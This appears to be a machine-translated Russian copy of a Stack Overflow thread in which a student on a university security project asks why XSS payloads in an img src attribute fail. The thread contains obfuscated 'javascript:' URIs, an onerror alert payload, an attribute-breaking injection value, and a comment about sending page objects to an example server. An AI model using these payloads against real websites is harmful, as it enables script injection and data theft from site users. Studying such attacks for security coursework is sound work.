2014-11-25 2 views
1

Я должен сделать XSS-атаку для проекта университета, связанного с безопасностью. Я хочу сохранить изображение с вредоносным кодом внутри его исходного атрибута. Однако, похоже, у меня нет доступа к каким-либо объектам javascript из атрибута src.Объем Javascript внутри атрибута src изображения

Вот некоторые вещи, которые я пытался:

<img src="j&#X41vascript:alert('XSS')"> 

Броски: предупреждение Ссылка ошибки не определен.

<img src="j&#X41vascript:window.alert('XSS')"> 

Броски: Справочное окно ошибки не определен

<img src="j&#X41vascript:var x = new XMLHttpRequest();"> 

Броски: Ссылка XMLHttpRequest ошибки не определен

Что здесь проблема и как я могу получить доступ к главному окну сайт и объекты, к которым я хочу получить доступ?

РЕДАКТИРОВАТЬ: Овертер и все другие события фильтруются.

+0

Этот комментарий не очень полезен. почему он не выполнен? И ошибка подразумевает, что она выполнена. – amaik

+0

Можете ли вы сделать что-то вроде 'javascript: 'http // yourserver.example? Js =' + Object' (и посмотреть, что приходит на ваш сервер)? – Bergi

+0

Не все браузеры уязвимы для этой атаки. Какой браузер вы нацеливаете/проверяете -http: //stackoverflow.com/questions/1798633/xss-attack-with-javascript-in-img-src-attribute –

ответ

1

src не выполнен, так что это не сработает.

Решение будет использовать onerror:

<img src="wrong" onerror="alert('XSS')"> 

В зависимости от того, как вводится ваш атрибут src, вы можете быть в состоянии передать это значение:

wrong" onerror="alert('XSS') 

Но ни один порядочный рамки не уязвима к такому виду нападения.

+0

onerror с отключенными другими событиями. – amaik

+0

На самом деле псевдо-протокол 'javascript' обозначает все, что следует интерпретировать как JavaScript. – Gumbo

+0

@Gumbo По атрибуту src с не супер старым браузером? Я так не думаю. –

Смежные вопросы